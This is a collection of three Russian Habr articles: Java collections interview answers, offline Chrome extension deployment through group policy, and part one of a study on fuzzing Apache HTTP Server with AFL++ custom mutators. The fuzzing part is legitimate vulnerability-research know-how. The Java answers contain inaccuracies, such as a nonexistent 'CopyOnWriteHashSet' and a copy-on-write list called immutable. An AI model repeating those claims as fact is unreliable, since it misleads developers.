+ [List](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/List.html) (стандартная реализация [ArrayList](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/ArrayList.html)) — список с массивом элементов, с возможностью случайного доступа элемента по индексу за O(1), вставкой/удалением со сложностью O(n)
+ [Set](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Set.html) (стандартная реализация [HashSet](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashSet.html)) — мн-во элементов без дубликатов. Нет возможности доступа по индексу, есть вставка и удаление за O(1)
+ [Map](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Map.html) (стандартная реализация [HashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashMap.html)) — мн-во пар элементов «ключ-значение». Доступ по ключу/добавление/удаление за O(1) при оптимальном случае, O(n) — при вырожденном
Обзор по коллекциям от [JournalDev](https://www.journaldev.com/1260/collections-in-java-tutorial)
* Устройство [ArrayList](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/ArrayList.html), [LinkedList](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/LinkedList.html), [HashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashMap.html), [HashSet](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashSet.html). Когда следует использовать. Контракт equals/hashcode для Map, Set (\*)
**Краткий ответ** Обзор по коллекциям от [JournalDev](https://www.journaldev.com/1260/collections-in-java-tutorial)
* Итератор по коллекции, его св-ва и интерфейс (\*)
**Краткий ответ**
+ Может только один раз проходить по коллекции. Для прохождения в двух направлениях есть [ListIterator](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/ListIterator.html)
+ Если в foreach цикле структурно модифицировать коллекцию, при последующем обращению к элементу (неявно через итератор) получим [ConcurrentModificationException](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/ConcurrentModificationException.html) (fail-fast)
+ hasNext(), next() — основные методы
* [Hashtable](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Hashtable.html) vs [HashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashMap.html) (\*)
**Краткий ответ**
+ [Hashtable](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Hashtable.html) — legacy, thread safe, методы синхронизированы, поэтому работа с Hashtable (обращение, удаление, добавление) в целом накладнее
+ [HashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/HashMap.html) — не thread-safe
* Java 8,11: новые методы в Map (\*\*)
**Краткий ответ**
+ Java 8: compute
+ Java 8: computeIfAbsent
+ Java 8: computeIfPresent
+ Java 8: forEach
+ Java 8: putIfAbsent
+ Java 11: factory-методы of()
* [LinkedHashMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/LinkedHashMap.html), зачем он нужен (\*\*)
**Краткий ответ**
+ Позволяет сохранять порядок вставки пар key-value в Map
+ Каждый entry содержит помимо hash, value, next (следующий элемент в бакете) также поля, указывающие на предыдущий и следующий элементы относительно порядка вставки
* Устройство [TreeMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/TreeMap.html) (\*\*)
**Краткий ответ**
+ Cбалансированное красно-черное дерево
+ Реализует интерфейс [NavigableMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/NavigableMap.html), что позволяет возвращать из него элементы, больше (меньше) указанного, либо range элементов, находящийся в определенных границах
* Какой контракт [Comparator](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Comparator.html) должен соблюдать?
**Краткий ответ** Быть согласованным с equals()
* Есть ли способ сделать enum ключом Map? (\*\*)
**Краткий ответ** [EnumMap](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/EnumMap.html) — массив, по размеру соотвествующий кол-ву элементов в enum'е. Индекс элемента массива соотвествуют ordinal'у из enum'а
* Расскажите про [CopyOnWriteArrayList/CopyOnWriteHashSet](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CopyOnWriteArrayList.html) (\*\*)
**Краткий ответ**
+ [СopyOnWriteArrayList](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CopyOnWriteArrayList.html) — иммутабельный list, при добавлении/апдейте/удалении элементов из которого пользователь получает новую модифицированную копию данного списка
+ [СopyOnWriteHashSet](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CopyOnWriteHashSet.html) — иммутабельный set, при добавлении/апдейте/удалении элементов из которого пользователь получает новую модифицированную копию данного set'а
* [IdentityHashMap](https://docs.oracle.com/javase/7/docs/api/java/util/IdentityHashMap.html) — когда используется? (\*\*)
**Краткий ответ** [IdentityHashMap](https://docs.oracle.com/javase/7/docs/api/java/util/IdentityHashMap.html) — используется, только если нужно проверять идентичность двух ссылок, а не эквивалентность двух объектов по ним. Например, если нужно отслеживать уже посешенные ноды в графе, или строить карту объекты-прокси. IdentityHashMap представляет из себя не классическую хэштаблицу со связанными списками, это linear probing map (бонус за объяснение работы linear probing)
* Интерфейсы [Queue](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Queue.html)/[Deque](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Deque.html) и их реализации (\*\*\*)
**Краткий ответ**
+ [Queue](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Queue.html) — коллекция, предоставляющая возможности упорядочения элементов в порядке вставки согласно принципу FIFO. Поддерживает два набора операций добавления/удаления/взятия элемента с конца — с возвращением спец. значения при исключительной ситуации (пустая или заполненная очередь), и с киданием exception'а
+ [Deque](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Deque.html) — коллекция, предоставляющая возможность вставки значений в начала и в конец, позволяющая организовать очереди по принципам FIFO/LIFO. Предпочтительна для реализации стэка вместо [Stack](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/Stack.html). Ниже приведен набор операций для Deque:
+ [BlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/BlockingQueue.html) — очередь, блокирующая операции чтения take при пустой очереди или операции записи put при полной очереди. Есть наборы операций и с неблокирующей семантикой. Ниже определен полный список операций чтения/записи.
+ [ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) — кольцевой bounded-buffer с внутренним capacity и fairness policy. Все операции чтения и записи защищены внутренним lock'ом (*j.u.c.l.ReentrantLock*), неявно связанным с двумя condition'ами — notFull, notEmpty. Соотвественно, если пишущий тред, захвативший общий lock, застрял на condition'е notFull, он неявно освобождает lock, чтобы читающий тред мог освободить очередь, и сигнализировать producer'у о том, что можно продолжать. Ровно и наоборот, читающий тред также захватывает общий lock, застревает на notEmpty, неявно освобождает lock, чтобы пишущий тред мог положить новый элемент и просигналить о непустой очереди. Т.е семантика такая же, как и у synchronized/wait/notify/notifyAll. Fairness = true позволяет предотвратить ситуации thread starvation для консьюмеров и продюсеров, но снизит производительность.
+ [LinkedBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingQueue.html) — очередь, в которой элементы добавляются в связанный список, основанная на two-lock queue, описанного в статье Simple, Fast, and Practical Non-Blocking and Blocking Concurrent Queue Algorithms by Maged M. Michael and Michael L. Scott.
### Секция IO:
* [InputStream](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/InputStream.html), [OutputStream](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/OutputStream.html) и их buffered версии (\*)
**Краткий ответ** Далее, для краткости *InputStream* — is, *OutputStream* — os
is — побайтное чтение из сокета/файла/строки/другого байтового массива
os — побайтная запись в сокет/файл/другой байтовый массив
Buffered-версии нужны для оптимизации чтения/записей через отдельный буффер
* Зачем нужен [Reader](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/Reader.html)? (\*)
**Краткий ответ** Reader позволяет указать [Charset](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/nio/charset/Charset.html) при чтении
* [Serializable](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/Serializable.html), serialVersionUID (\*)
**Краткий ответ** Классы, чьи объекты подвергаются сериализации/десериализации должны реализовывать marker интерфейс Serializable (и иметь статическое поле serialVersionUID для указании при сериализации, с какой версией класса данный объект был сериализован. Если serialVersionUID из сериализованного представления не совпадает c serialVersionUID класса «на том конце провода» — то кидается exception)
На практике, уже довольно редко используется, т.к тем же Jackson/GSON не обязательно наличие данного интерфейса для сериализации
* try-with-resources. [AutoCloseable](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/AutoCloseable.html) (\*)
**Краткий ответ** try-with-resources — краткая замена стандартному try..catch..finally. Закрывает ресурс после выхода из секции try-with-resources. Ресурс должен имплементить интерфейс AutoCloseable.
«Ресурс» в данном контексте — это класс, представляющий cобой соединение/cокет/файл/поток
```
try (InputStream is = new FileInputStream("/path/to/file.txt")) {
...
}
```
### Секция Exceptions:
* Отличие checked-exception/unchecked-exception. Error, Exception, RuntimeException (\*)
**Краткий ответ**
+ Checked exceptions (проверяемые исключения). В JDK представлены классом Exception. Исключения, которые нельзя проигнорировать, их обязательно нужно обрабатывать, либо специфицировать в сигнатуре метода, для обработки выше. Как правило, считаются дурным тоном, т.к код со мн-вом конструкций try..catch плохо читабелен, к тому же добавление новых пробрасываемых исключений в сигнатуре метода может сломать контракт вызова у пользователей данного метода.
+ Unchecked exceptions (непроверяемые исключения). В JDK это класс RuntimeException. Можно игнорировать, не требуют обработки через try..catch, или указания в сигнатуре через throws. Минус такого подхода — у вызывающей стороны нет никакого понимания, как обрабатывать ситуацию, когда под капотом «рванет»
+ Error — ошибки, кидаемые JVM в результате нехватки памяти (OutOfMemoryError), переполнения стэка (StackOverflowError) и.т.д
Полезные ссылки:
1. [Утечки памяти](https://www.toptal.com/java/hunting-memory-leaks-in-java) — статья на TopTal.com
2. [Частичная реализация ConcHashMap](https://habr.com/ru/post/327186/) (аля Java 8) с нуля от [kuptservol](https://habr.com/ru/users/kuptservol/)
3. [Структура SkipList](https://habr.com/ru/post/139870/)
4. [Обзор коллекций](https://www.journaldev.com/1260/collections-in-java-tutorial) от JournalDev
5. [Обзор коллекций](https://habr.com/ru/company/luxoft/blog/256877/) от [vedenin1980](https://habr.com/ru/users/vedenin1980/)
6. [Обзор](https://habr.com/ru/company/luxoft/blog/157273/) пакета java.util.concurrency (Java 7) от [Melnosta](https://habr.com/ru/users/melnosta/)
7. Simple, Fast, and Practical Non-Blocking and Blocking Concurrent Queue Algorithms by Maged M. Michael and Michael L. Scott (для сильных духом) | https://habr.com/ru/post/485678/ | null | ru | null |
# Установка расширений в Хром без интернета
Ситуация: Есть некий заказчик, у которого в закрытой сети работают сотрудники. Внутри, помимо прочего, есть веб-сайты с приложениями, для доступа к которым используется обычный Google Chrome. Внезапно уже им поставили задачу - перейти на ГОСТ. Везде. Пришлось им ставить Крипто-Про, разворачивать ГОСТовскую криптографию, и ставить известный в узких кругах софт CAdEs-plugin (или как там правильно в тамошнем капсе) для работы с ЭП. Софт состоит из двух частей - локальной программы и браузерного плагина, и с установкой последнего возникли сложности. Я думаю, что подобная ситуация может возникнуть не только с конкретно этим расширением, поэтому решил написать статью со сводкой необходимой информации в одном месте.
Механизм установки был определен давно - групповые политики, благо Хром их поддерживает довольно давно. Однако все описания установки расширений через политики оказались, мягко скажем, неполными либо устаревшими, и их применение в тестовом домене не приводило к успеху. В то же время, стоило включить доступ в Интернет, и расширения прекрасно устанавливались, но только если не указывать место, где проверять обновления.
Политики установки описаны [здесь](https://chromeenterprise.google/policies/#ExtensionInstallForcelist) - относительно известное место в Гугле, которое легко ищется встроенным поисковиком, но не описывает достаточно деталей, чтобы настроить автоматическую установку без доступа в Интернет. Если присмотреться, абсолютно все примеры отсылают к установке через https, причем стабильно с URL магазина Google. Другие результаты в Интернете намекали на возможность использования в качестве источника файлов UNC-путей (т.е. общих файловых ресурсов).
Дальнейший поиск спустя солидное время и много подходов привел вот на [этот нерешенный вопрос в поддержке Гугла](https://support.google.com/chrome/a/thread/70861278/how-do-i-install-specific-extension-on-disconnected-or-offline-environment?hl=en), где внезапно обнаружился недостающий, как впоследствии оказалось, один из двух, элемент, необходимый для решения задачи - шаблон XML-файла с примером, который у пользователя как раз не работал. Сам файл представляет собой структуру ответа Google Update с выделенным элементом приложения, местом нахождения обновления и его версией. Выглядит шаблон так:
```
xml version='1.0' encoding='UTF-8'?
```
Что меня порадовало больше всего, так это указание, в каком формате правильно задавать UNC-путь. Быстрая проверка показала, что нет, не всё так легко, и файл с расширением, заботливо скачанный ещё в самом начале, оказался не у дел. Зато в соседних политиках с ExtensionInstallForcelist нашлись некоторые дополнительные настройки, из которых удалось собрать полный паззл.
Итак, для того, чтобы установить расширение в управляемый Хром без доступа в Интернет понадобилось настроить три политики, создать один файл и выложить само расширение в доступное место. Политики были следующими:
* ExtensionInstallForcelist - создан список из 1 элемента, с ID расширения и UNC-путем через file:/// для корректности поиска;
* [ExtensionInstallSources](https://chromeenterprise.google/policies/#ExtensionInstallSources) - создан список из 1 элемента (но можно и двух), содержащий разрешенные пути для поиска источников обновлений. Описание указывает, что значениями являются регулярные выражения, однако рабочий пример содержал обычный wildcard match для проверки, его я и использовал, добавив элемент со значением `\\server\share\*` .
* И похоже, элемент, на котором споткнулся автор того самого вопроса в техподдержку - политика [ExtensionSettings](https://chromeenterprise.google/policies/#ExtensionSettings), в описании которой содержится на редкость странный пункт:
> Если для экспериментального параметра override\_update\_url указано значение True, расширение будет установлено и обновлено с помощью URL обновления, указанного в правиле ExtensionInstallForcelist или в поле update\_url правила ExtensionSettings.
>
>
Как оказалось при тестировании, если этот параметр не задан или отключен, то если расширение внутри своего файла CRX содержит URL расположения обновления в "Интернет-магазине Chrome", Хром не станет его устанавливать откуда-либо ещё, даже если ему об этом явно сказать. Проблема ещё и в том, что параметр экспериментальный, значит, может пропасть в любой момент, но пока он есть и пока текущая версия Google Chrome, установленная у заказчика, его понимает, задача будет выполнена. (Последняя на текущий момент версия 96.0 - понимает) По крайней мере, сама политика допускает указание URL поиска обновлений для расширения в явном виде, т.о. в случае прекращения обработки override\_update\_url можно её использовать для задания URL обновления вместо переадресации через XML-файл. Значение политики для Windows представляет собой JSON, сжатый в одну строку REG\_SZ, и для успешной установки расширения хватило JSON вида
`{ "id": { "override_update_url": true }}`
После такой настройки политик Chrome успешно установил расширение из файла в общей папке. | https://habr.com/ru/post/594321/ | null | ru | null |
# Фаззинг сокетов: Apache HTTP Server. Часть 1: мутации
> *Прим. Wunder Fund:* наш СТО [Эмиль](https://youtu.be/662q9FVqp50) по совместительству является известным white-hat хакером и специалистом по информационной безопасности, и эту статью он предложил как хорошее знакомство с фаззером afl и вообще с фаззингом как таковым.
>
>
Этот материал открывает серию из трёх статей (она продолжает материалы о фаззинге [FTP-серверов](https://securitylab.github.com/research/fuzzing-sockets-FTP/) и [FreeRDP](https://securitylab.github.com/research/fuzzing-sockets-FreeRDP/)), посвящённых фаззинг-тестированию реализации протокола HTTP, представленной в [Apache HTTP Server](https://httpd.apache.org/). Это — один из самых популярных веб-серверов и в представлении он не нуждается. Так, Apache HTTP — это один из первых HTTP-серверов, разработка которого началась в 1995 году. По состоянию на январь 2021 года под его управлением работали более чем [300000000](https://news.netcraft.com/archives/category/web-server-survey/) серверов, а значит — он использовался на 26% таких систем и занимал второе место по распространённости, немного уступая лишь Nginx (31%).
В статье я вкратце расскажу о том, как работает Apache, и освещу кое-какие идеи, которые помогут всем желающим лучше понять суть кастомных мутаторов, и то, как можно эффективно их применять для исследования реализаций протокола HTTP.
### Кастомные мутаторы
В отличие от фаззинг-тестирования, где применяются совершенно случайные входные данные, в мутационном фаззинге во входные данные вносят небольшие изменения. В результате исследуемая система может продолжать считать эти данные корректными, но при этом она способна, получив их, по-новому на них отреагировать. То, что вносит изменения в данные, называют «мутатором».
В фаззере AFL реализованы базовые мутаторы. Они, например, умеют инвертировать биты, инкрементировать и декрементировать байты, выполнять простые арифметические операции над данными, выполнять сплайсинг блоков. Эти мутаторы, в целом, дают хорошие результаты, особенно при работе с двоичными форматами данных. Но их успехи куда скромнее при их применении к текстовым форматам данных, вроде тех, которые используются в HTTP. Именно поэтому я решил создать несколько дополнительных мутаторов, рассчитанных на конкретную задачу — на фаззинг протокола HTTP. Соответствующий код можно найти [здесь](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Custom%20mutators).
Среди стратегий мутации, которым я уделил внимание в этом исследовании, отмечу следующие:
* Перестановка фрагментов запросов: части двух разных запросов меняют местами.
+ Строки: строки из двух разных запросов меняют местами.
+ Слова: слова из двух разных запросов меняют местами.
* Брутфорс наборов символов: перебор определённых наборов символов.
+ 1 байт: `0x00 – 0xFF`
+ 2 байта: `0x0000 – 0xFFFF`
+ 3 буквы: `[a-z]{3}`
+ 4 цифры: `[0-9]{4}`
+ 3 буквы и цифры: `([a-z][0-9]){3}`
+ Строки, состоящие из 3/4 байтов: брутфорс всех 3/4-байтовых строк во входном файле.
Пример кастомного мутатора, выполняющего перестановку строкПример кастомного мутатора, выполняющего перестановку словДополнительные функции, которые понадобятся вам для использования этих кастомных мутаторов, вы можете найти [здесь](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20mutators/Mutators_aux.c).
### Анализ покрытия кода тестовыми данными
Прежде чем устраивать полномасштабное длительное фаззинг-тестирование, нам нужно разобраться в том, эффективно ли кастомные мутаторы решают возлагаемые на них задачи.
Для этого я провёл несколько фаззинг-тестов, используя при этом различные комбинации кастомных мутаторов. Моей целью было нахождение такой комбинации, которая даёт наилучшее покрытие кода тестовыми данными за 24 часа.
Отправной точкой стали следующие результаты, полученные с использованием только исходного набора входных данных:
* Строки: 30,5%
* Функции: 40,7%
А вот — результаты, полученные для различных комбинаций мутаторов за 24 часа (все тесты были выполнены с использованием параметров `AFL_DISABLE_TRIM=1` и `-s 123`):
| | |
| --- | --- |
| **Стратегия мутаций** | **Покрытие кода данными** |
| AFL++ по умолчанию | 32,8% |
| 2-байтовый брутфорс (12 часов) + перестановка строк (6 часов) + AFL HAVOC (6 часов) | 33,0% |
| Перестановка строк (8 часов) + 1-байтовый брутфорс (4 часа) + 3-байтовый брутфорс строк (4 часа) + AFL HAVOC (8 часов) | 33,2% |
| MOpt -L 0 (8 часов) + 1-байтовый брутфорс (8 часов) + RADAMSA (8 часов) | 33,0% |
| RADAMSA | 32,6% |
Мутаторы, которые тут не перечислены, показали более скромные результаты, поэтому их мы даже не рассматриваем. Как видите, выигрышной комбинацией стала та, где применяется перестановка строк и AFL HAVOC.
Вот как выглядит покрытие тестовыми данными строк и функций при использовании комбинации перестановки строк и AFL HAVOC.
| | | | |
| --- | --- | --- | --- |
| | **Попадания** | **Общее количество** | **Покрытие** |
| Строки | 16326 | 49128 | 33,2% |
| Функции | 1424 | 3365 | 42,3% |
После этого я провёл второй тест, увеличив количество включённых модулей Apache. И тут, снова, лучшей оказалась комбинация «Перестановка строк + AFL HAVOC».
| | | | |
| --- | --- | --- | --- |
| | **Попадания** | **Общее количество** | **Покрытие** |
| Строки | 18453 | 53041 | 34,8% |
| Функции | 1592 | 3579 | 44,5% |
Хотя я и нашёл наилучшую комбинацию механизмов тестирования, это не значит, что пользовался я только ей. В процессе фаззинг-тестирования Apache HTTP я использовал все имеющиеся в моём распоряжении кастомные мутаторы, так как моей целью было достижение максимально возможного уровня покрытия кода тестовыми данными. При таком сценарии эффективность мутатора оказывается не самым важным показателем.
### Кастомная грамматика
Ещё один подход к мутационному фаззинг-тестированию заключается в использовании мутаторов, основанных на грамматических правилах, учитывающих особенности исследуемой системы. В дополнение к применению кастомных мутаторов, я воспользовался и кастомной грамматикой. Сделал я это посредством инструмента, недавно добавленного в состав AFL++. Это — [Grammar Mutator](https://github.com/AFLplusplus/Grammar-Mutator).
Пользоваться им довольно просто. Сначала делаем это:
```
make GRAMMAR_FILE=grammars/http.json
./grammar_generator-http 100 100 ./seeds ./trees
```
А потом — это:
```
export AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-http.so
export AFL_CUSTOM_MUTATOR_ONLY=1
afl-fuzz …
```
В моём случае была создана [упрощённая спецификация грамматики HTTP](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20Grammars/http.json).
Фрагмент файла http.jsonЯ включил в её состав самые распространённые HTTP-операции (`GET`, `HEAD`, `PUT` и так далее). Тут я, кроме того, использовал одиночные 1-байтовые строки, а потом, на более поздних стадиях работы, применил Radamsa для увеличения длины этих строк. [Radamsa](https://gitlab.com/akihe/radamsa) — это фаззер общего назначения, недавно добавленный в AFL++ в виде [библиотеки](https://github.com/AFLplusplus/AFLplusplus/issues/72) кастомного мутатора. Кроме того, тут я опустил большую часть дополнительных строк. Их я, вместо этого, решил включить в словари.
### Конфигурирование Apache
HTTP-сервер Apache настраивают, редактируя текстовые файлы, находящиеся в папке `[install_path]/conf`. Главный конфигурационный файл обычно называется `httpd.conf`. Каждая из директив, находящихся в нём, занимает отдельную строку. В дополнение к этому, в систему настройки сервера можно добавить дополнительные файлы. Для этого используется директива `Include` и шаблоны, с помощью которых можно описать сразу несколько конфигурационных файлов. Символ обратной косой черты, может находиться в конце строки, указывая на то, что соответствующая директива продолжается на следующей строке. При этом между данным символом и символом конца строки не должно быть больше никаких символов, включая пробел
### Модули, модули, и ещё раз модули
Apache имеет модульную архитектуру. Функционал сервера можно расширять или урезать, включая или отключая модули. Существуют стандартные модули, встроенные в Apache HTTP, но есть и множество модулей, созданных сторонними разработчиками, реализующих расширенный функционал.
Для того чтобы включить в конкретной сборке Apache какой-то определённый модуль, нужно воспользоваться ключом вида `--enable-[mod]` на конфигурационном этапе сборки:
```
./configure --enable-[mod]
```
Здесь `mod` — это имя модуля, который нужно включить в сборку.
Я применил инкрементальный подход: начал с включения небольшого набора модулей (`--enable-mods-static=few`), а после вывода фаззинг-тестирования в стабильный режим, включил новый модуль и снова проверил стабильность фаззинга. Я, кроме того, подключил модули статически, воспользовавшись ключами `--enable-[mod]=static` и `--enable-static-support`. Это привело к значительному повышению скорости фаззинга.
После выполнения сборки мы можем задать то, в каком контексте эти модули должны включаться в работу. Для того чтобы это сделать — я модифицировал файл `httpd.conf` и связал каждый модуль с отдельной уникальной сущностью `Location` (с директорией или файлом). При таком подходе у нас будут различные пути сервера, связанные с разными модулями Apache.
Настройка путейДиректория htdocs с короткими именами файловДля того чтобы облегчить жизнь фаззеру, я сделал так, что имена большинства файлов, находящихся в директории `htdocs`, имеют длину в 1-2 символа. Это позволяет AFL++ легче находить корректные URL-запросы.
Например:
* `GET /a HTTP 1.0`
* `POST /b HTTP 1.1`
* `HEAD /c HTTP 1.1`
В процессе фаззинг-тестирования я стремлюсь к тому, чтобы включить как можно больше модулей Apache. Цель этого — обнаружение ошибок, связанных с конкурентной работой модулей.
### Увеличение размеров словарей
Когда я попытался фаззить Apache, я столкнулся с одним ограничением. Оно заключается в том, что максимальное количество записей словаря, с которым, используя детерминистический подход, может работать AFL, ограничено 200.
Сложность тут в том, что для каждого из новых модулей и для соответствующих ему сущностей `Location`, включаемых в файл `httpd.conf`, нужны ещё и записи словаря. Например, если я добавлю папку `scripts` в `Location` `mod_crypto`, мне понадобится добавить в словарь строку `scripts`. Более того, некоторые модули (например — `webdav`), нуждаются во множестве новых HTTP-операций (`PROPFIND`, `PROPPATCH` и так далее).
По этой причине, и учитывая то, что поддержка более крупных словарей может пригодиться в других сценариях, я сделал [PR](https://github.com/AFLplusplus/AFLplusplus/pull/519) в проект AFL++, направленный на добавление в него этой функциональности.
Смысл тут заключается в добавлении новой переменной окружения — `AFL_MAX_DET_EXTRAS`. Она позволяет задавать максимальное количество записей словаря, которые будут использоваться с применением детерминистического подхода. [Вот](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Dictionaries/http_request_fuzzer.dict.txt) — один из использованных мной словарей.
Во второй части этой серии материалов мы посмотрим на более эффективный способ поддержки системных вызовов, связанных с файловой системой, и поговорим о концепции «файловых мониторов».
### Изменения кода сервера
#### MPM-фаззинг
Модульная сущность Apache HTTP Server 2.0. проявляется в самых элементарных функциях веб-сервера. Сервер поставляется с набором модулей многопроцессной обработки (Multi-Processing Module, MPM). Они решают задачи привязки к сетевым портам компьютеров, приёма запросов, создания дочерних процессов для обработки запросов. Подробности об Apache MPM можно найти [здесь](https://httpd.apache.org/docs/2.4/mpm.html).
В ОС, основанных на Unix, HTTP-сервер Apache, по умолчанию, использует модуль `MPM event`. Выбрать конкретный модуль можно и самостоятельно, через конфигурационную опцию вида `--with-mpm=[choice]`. Каждый MPM обладает различными возможностями в плане многопоточной и многопроцессной обработки данных. В результате наш подход к фаззингу будет различаться в зависимости от используемого MPM:
* `MPM event` (многопоточность и многопроцессность).
* `MPM prefork` (единственный управляющий процесс).
Если говорить об изменениях кода, необходимых для проведения фаззинг-тестирования, то, вместо замены сокетов на дескрипторы локальных файлов, я, для доставки в пункт назначения входных данных фаззинга, применил новый подход. А именно, я создал новое соединение локальной сети и отправлял фаззинг-данные через это соединение (спасибо [@n30m1nd](https://twitter.com/n30m1nd) за вдохновение!).
Новый подход#### Традиционные изменения кода
Для того чтобы ознакомиться с обычными изменениями кода, необходимыми для эффективного фаззинга сетевого сервера, взгляните на [этот](https://securitylab.github.com/research/fuzzing-sockets-FreeRDP/) материал. Ниже приведена сводка по самым важным изменениям. Их, в целом, можно разбить на следующие группы:
* Изменения, направленные на уменьшение энтропии:
+ Замена random и rand на неизменные значения. [Вот](https://github.com/antonio-morales/Apache_2.5.1/commit/e0be82bce715dda77841de3360f6328d26aa35cb#diff-1d0396bf58a901188f8858c71c9ba6ea2cae5c8fc480565079fb2911c45c9bbcR5659) пример.
+ Замена вызовов `time()`, `localtime()` и `gettimeoftheday()` на константы.
+ Замена вызовов `getpid()` на фиксированные значения. [Вот](https://github.com/antonio-morales/Apache_2.5.1/commit/e0be82bce715dda77841de3360f6328d26aa35cb#diff-1d0396bf58a901188f8858c71c9ba6ea2cae5c8fc480565079fb2911c45c9bbcR5626) пример.
* Изменения, направленные на снижение задержек:
+ Удаление некоторых вызовов `sleep()` и `select()`.
* Изменения в криптографической подсистеме.
+ Отключение вычисления контрольных сумм. [Вот](https://github.com/antonio-morales/Apache_2.5.1/commit/72a7bed52975f3258ab56a53f67b56632ddf30a2#diff-485c57a981998a7b2fb43f90f2084667358ab10beea82a0d15269564fb7eeaa3R1468) пример.
+ Использование статических значений вместо одноразовых случайных чисел. [Вот](https://github.com/antonio-morales/Apache_2.5.1/commit/72a7bed52975f3258ab56a53f67b56632ddf30a2#diff-54ad55cab9d74b14dd358a112365481763d8e6f28296b56b920c198352cee37bR385) пример.
Избавление от select()Подробно изучить последствия внесения этих изменения в код можно, ознакомившись со следующими патчами:
* [Патч №1](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch1.patch)
* [Патч №2](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch2.patch)
### «Фейковый» баг: ситуация, когда наши инструменты вводят нас в заблуждение
То, что сначала показалось мне простым багом в Apache HTTP, оказалось кое-чем куда более серьёзным. Я подробно расскажу о своём путешествии в кроличью нору гейзенбага из-за того, что оно являет собой хороший пример того, сколь обескураживающим иногда может быть поиск первопричины ошибки. И, кроме того, я полагаю, что этот рассказ может оказаться реально полезным для других исследователей информационной безопасности систем, которые могут оказаться в такой же ситуации, в которой оказался я. А именно, в ситуации, когда точно не знаешь — где произошла ошибка — в исследуемой программе или в собственных инструментах.
Всё началось с того, что я обнаружил баг, который можно было воспроизвести лишь тогда, когда работала программа AFL++. Когда я пытался воспроизвести его непосредственно в бинарном файле `httpd`, сервер и не думал «падать». Первое, что тогда пришло мне в голову, заключалось в том, что я имею дело с недетерминированной ошибкой. Другими словами — с ошибкой, которая появляется лишь в одном из N случаев. Поэтому я первым делом создал скрипт, который запускал приложение 10000 раз и перенаправлял в файл то, что оно выводило в `stdout`. Но баг себя не проявил. Я увеличил количество запусков программы до 100000, но баг так и не появился.
Скрипт для запуска программыЛюбопытным тут было то, что баг стабильно показывал себя, когда я запускал приложение под AFL++. Поэтому я решил копнуть в сторону факторов рабочей среды и ASAN, которые могли быть причиной возникновения ошибки. Но потратив часы на исследование этой гипотезы, я так и не смог найти условия, вызывающие ошибку.
У меня начало появляться подозрение в том, что меня обманывают мои же инструменты. Тогда я и решил детальнее исследовать ошибку, вооружившись GDB.
Детальное исследование ошибкиВыяснилось, что ошибка происходила при вызове функции `find` в `sanitizer_stackdepotbase.h`. Этот файл является частью библиотеки ASAN, он вызывается каждый раз, когда в стек программы помещают новый элемент. Но по какой-то причине связный список `s` был повреждён. В результате, из-за того, что выражение `s->link` пыталось разыменовать неправильный адрес памяти, возникала ошибка сегментации.
Может — я столкнулся с новой ошибкой в библиотеке ASAN? Мне это казалось нереальным, но чем дольше я смотрел на этот баг, тем яснее у меня вырисовывалось разумное объяснение происходящего. Во всём этом был, конечно, и позитив, который заключался в том, что у меня появилась возможность многое узнать о внутренних механизмах ASAN.
Но у меня были большие сложности с поиском причины повреждения связного списка. Что виновато? Apache, или AFL++? Тогда я прибегнул к помощи [отладчика rr](https://rr-project.org/). Это — Linux-инструмент для отладки кода, который позволяет записывать и воспроизводить процесс выполнения программы. Такие инструменты ещё называют «отладчиками с обратным выполнением кода». Они позволяют «вернуться в прошлое» и обнаружить первопричину бага.
